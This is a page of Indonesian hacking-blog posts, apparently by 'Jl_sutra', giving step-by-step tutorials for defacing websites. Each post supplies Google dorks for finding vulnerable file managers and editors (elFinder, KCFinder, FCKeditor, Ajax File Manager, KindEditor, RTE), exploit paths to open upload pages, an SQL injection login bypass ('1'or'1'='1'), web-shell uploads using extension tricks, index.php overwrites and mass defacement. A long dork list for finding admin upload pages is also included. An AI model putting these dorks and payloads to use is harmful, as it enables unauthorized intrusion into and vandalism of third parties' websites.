Postingan

Menampilkan postingan dengan label All Deface

Tool CSRF Online

Gambar
Assalamu'alaikum wr.wb  Tool CSRF saya persembahkan untuk kalian yang membutuhkan Dari pada menanam CSRF di web orang mendingan gunakan yang ada .. contohnya CSRF punya saya 👻👻👻 URL: POST File: Gunakan dengan bijak Jangan kau rusak web orang Karna itu adalah perbuatan DOSA. Wassalamu'alaikum wr.wb

Deface Tebas Index

Gambar
Assalamu'alaikum wr.wb ___ Kali ini mengupas seputar Tebas Index Tebas index itu mengubah tampilan sebuah website sesuai pengertian Index itu sendiri ialah tampilan halaman utama website Syarat utama tebas index harus upshell terlebih dahulu Dan gunakan shell yang memadai seperti IndoXploit, Andela, Alfa, dll Di sini saya tidak menyediakan Dork atau Exploit, karna Dorks upshell udah saya tutorkan sebelumnya 👻 Bila sudah di Dir Webtarget cari publik_html Terus cari Index.php dan klik Kemudia Edit dan hapus dan paste kan script kamu Dan klik Save Nah, silahkan eksekusi 👻 Ingat !! ... Jangan kau Rusak web Orang ... Karna Bikin web tidak mudah .. Apa lagi web dalam Negri itu sama halnya memjajah Negri sendiri .. dan itu Goublok sekali 👻👻👻👻 Silahkan kunjungi Channel Youtube sohib saya dan jangan lupa Like And Subcribe https://www.youtube.com/channel/UCFH6CnetBOuIJgnL5v8ySpQ Wassalamu'alaikum wr.wb ___

Deface dengan teknik Mass Deface

Gambar
Assalamu'alaikum wr.wb ___ Pada kesempatan kali ini saya akan menguraikan teknik mass deface Teknik ini cocok untuk belajar tahap lanjutan setelah sekian lama kenal deface hanya nitip script doang 😂 Syarat pertama yang paling wajib di teknik mass deface itu upshell  dan dalam web target terdapat direktori web lain. Dan shell yang di gunakan yang di dalamnya terdapat mass deface, misal shell IndoXploit, Andela, Alfa, dll Nah, sekarang sudah berada di Dir web target Cara mengeksekusinya klik publik_html kemudian klik mass deface Kemudian edit index.php menjadi terserah anda 😂 misal Jl_sutra.php Trus di Index Code paste kan Script kamu dan klik Save /atau apalah menurut shell nya Sukses 👻👻 Bila kurang jelas silahkan komen Bila ada langkah yang salah ya silahkan komen 👻 ingat !! Jangan merusak web orang membuat web itu tidaklah mudah apa lagi merusak web negri sendiri itu sama halnya kamu menjajah negri sendiri ... Dan itu Goblok se

Deface Admin Phenix Digital

Gambar
Oke, Jumpa lagi dengan teknik Deface Admin phenix Digital Siapkan terlebih dahulu apa yang bisa di siapkan Kopit Hitam+Rokok contohnya 👻👻👻 Dork: intext:"Powered By Phenix Digital" Silahkan Dorking dulu di mbah google Dan tentukan web targetnya Setelah menemukan webnya, langsung [patch] dengan cara mengExploitasinya Contoh: SiteTarget.co.li/blablabladanSeterusnya Menjadi: SiteTarget.co.li /admin/ Dan langsung di arahkan ke Admin Login Email+password: 1'or'1'='1 Bila Login Berhasil maka langsung di Dashboard Nah, bila sudah di Dashboard terserah mau ngapain dan mau di apain 👻👻👻 Dan untuk manggil scipt/shell Cntl+T Ehhh, maksudnya Tekan Sciptnya ampe kluar info di bawahnya Lalu Tekan Lagi biar info Link nya kluar dan Done 👻👻👻👻 Sekian dan Terima Kasih. Silahkan Kunjungi Channel Youtube Sohib saya Dan Jangan lupa Like dan Subcribe https://www.youtube.com/channel/UCFH6CnetBOuIJgnL5v8ySpQ Nb:

Deface POC Elfinder

Gambar
Assalamu alaikum wr wb__ Tutor kali ini sebuah teknik yang cukup simple tapi sangat menguras kesabaran Dan untungnya setok kesabaran saya lumayanlah 😂😂😂 Teknik deface Elfinder Teknik ini bisa upshell tapi dengan extensi shell yang sangat bragam Jadi dari pada penasaran silahkan Dorking aja Cukup satu kali upshell , nanti extensinya /formatnya bisa live edit stelah upload berhasil Dan bila anda type orang yang gak sabaran mending nitip sc.html saja 👻 Dork: nurl:/elFinder/elFinder.html intitle:"elFinder 2.0" Exploit: /Elfinder/elfinder.html Setelah dorking dan menemukan web target, bila vuln penampakannya akan seperti gambar di bawah ini: ilustrasi system ilustrasi system ilustrasi system i lustrasi system Setelah upload berhasil kemudian klik file yang tadi di upload sampe kluar info filenya Kalau info file udah klihatan klik Open untuk melihat hasil deface dan url shell/script nya Kelar sudah teknik deface elfinder Tetaplah be

Dorks Upshell

Gambar
Assalamu alaikum wr.wb ___ Kali ini saya akan berbagi Dork yang sudah lama saya timbun Dari pada cuma nyampah dan menuh-menuhin memory Dan sebelum saya hapus alangkah lebih baiknya bila saya curahkan di sini 👻 👉 Dork hasil copas dari Grup ke Grup dan Google Silah pilih sesuai imajinasimu yang setara skill dewa 😂😂 "inurl:admin/addproduct.asp" "inurl:admin/user.asp" "inurl:admin/addpage.php" "inurl:admin/gallery.asp" "inurl:admin/image.asp" "inurl:admin/adminuser.asp" "inurl:admin/productadd.asp" "inurl:admin/addadmin.asp" "inurl:admin/add_admin.asp" "inurl:admin/add_admin.php" "inurl:admin/addnews.asp" "inurl:admin/addpost" inurl"inurl:admin/addforum.???" "inurl:admin/addgame.???" "inurl:admin/addblog.????" "inurl:admin/admin_detail.php" "inurl:admin/admin_area.php" "inurl:admi

Deface Auto Tykung

Gambar
Assalamu'alaikum wr.wb_ Deface kali ini dengan teknik auto tykung 😂 Teknik ini berawal dari seru-seruan di Grup saling unjuk gigi memperlihatkan hasil defacenya Kemudian imajinasi liarku menemukan sebuah gagasan atau ide untuk menikung hasil deface teman-teman dengan teknik yang sebelum sudah saya kuasai 😂😂😂 Teknik deface Auto Tykung ini tidak memerlukan Dork hanya menggunakan skill Exploit semata Nah di bawah ini akan saya share caranya menikung Simak baik-baik ya .... Heheee ..... 1. poc sitefinity Stetarget.co.li/ files/Jl_sutra.html Kemudian Copy webTargetnya dan tempelkan Exploitnya di belakang webtarget SiteTarget.co.li// sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx 2. Poc Fckeditor SiterTarget.co.li /files/Jl_sutra.html Contoh seperti di atas Copas webtargetnya dan pastekan Exploit di belakangnya SiteTarget.co.li/ /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php 3

Deface Ajax File Manager

Gambar
Assalamu'alaikum wr.wb_ Teknik Deface kali ini Ajax File Manager Pertama-tama siapkan bahan-bahannya terlebih dahulu sebelum ini itu 😂 1. Pastikan kuota dan sinyal bagus 2. Dork untuk melabuhkan impian dan harapan 3. Script dengan extensi .html dan .txt 4. Anda harus yakin bahwa stiap web target itu penanganannya berbeda-beda 5. Siapkan Rokok dan Kopi Hitam agar kesabaran Anda tetap setabil 😂 Dork: intitle:"Ajax File Manager" site:au inurl:/ajaxfilemanager.php intext:"/Root Folder" inurl:/ajaxfilemanager.php intext:"upload" inurl:/ajaxfilemanager.php .ac. intitle:"index of" intext:"ajaxfilemanager.php" plugins ajaxfilemanager ajaxfilemanager php ajax file manager r=h:it tiny_mce plugins ajaxfilemanager Nah sekarang tinggal pilih Dorknya Di coba semua juga lebih bagus Dan jangan lupakan mbah Google untuk Dorking Gimana ....mudah bukan ??..... Tapi ingat setiap web target tidaklah sama

Deface Kcfinder

Gambar
tanpa basa basi yuk kita cekidot googling dengan dork yang sudah di sediakan, bila tidak work silahkan kembangkan sendiri dengan imajinasi tingkat dewa Dork: inurl:/kcfinder/browse.php   lib/kcfinder/files/upload  admin/kcfinder/files/upload/ /panel/kcfinder/upload/files /  editor/kcfinder/upload   Kcfinder/upload/file Silahkan pilih dorknya dan dorking di google Exploit: /browser.php Dan usahakan upload shell backdoor dengan format .php5 / pjpg / xxxjp Jika sbelumnya punya shell yg berformat.php Maka tinggal ditambahin di blakang .php seperti contoh di atas. 1. Langkah pertama sharching dork diatas di pak google dengan browser Kesayangan kalian 2. Pilih satu website yg di taksir dan masukin Exploitnya diblakang /kcfinder/ Contoh : Sitetarget.co.li/Blablabla/kcfinder/ browser.php 3. Maka tinggal kalian upload shell backdoor kalian dengan format .php5 atau lainya . Jika tidak Berhasil maka tinggalkan saja dan cari yang baru , carilah

Deface Fckeditor

Gambar
Assalamu'alaikum wr.wb Oke langsung saja dengen teknik deface fckeditor Seperti biasa Dorking dulu di mas Google yang setia melayani 😂 Dork:  inurl:editor/filemanager/upload Exploit: test.html atau Dork dan Exploit d gabung jadi satu juga bisa, biar langung di arahkan ke upload file Contoh: inurl:editor/filemanager/upload/ test.html tapi INGAT !! tidak semua Dork dan Exploit bisa di gabungkan Bila sudah menemukan web yg vuln langsung klik ASP di pojok kiri atas di ganti PHP dan klik pilih file dan send it to server Bila muncul text klik   oke itu tandanya file script berhasil di unggah dan copy url scriptnya dan pastekan di belakang web target Contoh: sitetarget.co.li/url script anda Dan biar langkahnya lebih mudah gunakan exploit ini: /admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php Dan cara manggil scriptnya Sitetarget.co.li/files/namascriptkamu.html Gampangkan ???.....

Deface RTE (Rich Text Editor)

Gambar
Assalamu'alaikum wr.wb_ Deface kali ini dengan teknik RTE Teknik yang bisa di bilang cukup mudah dan sangat cocok buat ngilangin Jenuh 😂 Seperti biasa kita Dorking dulu di google Silahkan pilih Dorknya Dork: inurl:rte/my_documents/my_files inurl:/my_documents/my_files intext:”Powered by Web Wiz Rich Text Editor” Exploit: /admin/RTE_popup_file_atch.asp Dan seperti biasa exploit di taruh di blakang web target Contoh: sitetarget.co.le/admin/RTE_popup_file_atch.asp Contoh: Sitetarget.co.li/admin/my_documents/my_files/F77_jl_sutra.html Gampangkan ..????....... Sekian tutor RTE dari saya Bila kurang jelas mohon maaf Namanya juga Noob belajar berkarya 😂 Sekian dan terima kasih. ttd: Jl_sutra https://www.youtube.com/channel/UCFH6CnetBOuIJgnL5v8ySpQ Silahkan kunjungi Channel Youtube sohib saya Dan jangan lupa Like and Subcribe ya mastah 👻👻👻 Wassalamu'alaikum wr.wb.

Deface KindEditor

Gambar
Assalaamu'alaikum wr.wb kali ini deface kindeditor metode deface tersimple dan termudah di dunia pertama siapkan bahan-bahannya Dork:  inurl:examples/uploadbutton.html inurl:kindeditor langsung dorking ke mbah google cari web yg vuln dan eksekusi seketika bila sudah dapat web yang vuln langsung klik upload script anda hingga benar2 muncul url scriptnya bila gagal tidak muncul url scriptnya ganti saja dengan script yang lain atau ganti dengan webtarget lain yg mau menerimamu apa adanya demgan tulus dan bila url scriptnya muncul langsung copy dan pastekan di belakang url target Contoh: sitetarget.co.li/url script kalin Gampangkan ....????..... Sekian Tutor deface kali ini Mohon maaf bila ada yg salah Dan terima kasih. ttd: Jl_sutra https://www.youtube.com/channel/UCFH6CnetBOuIJgnL5v8ySpQ Silahkan kunjungi Channel Youtube sohib saya Dan jangan lupa Like and Subcribe ya mastah 👻👻👻 Wassalamu'alaikum wr.wb.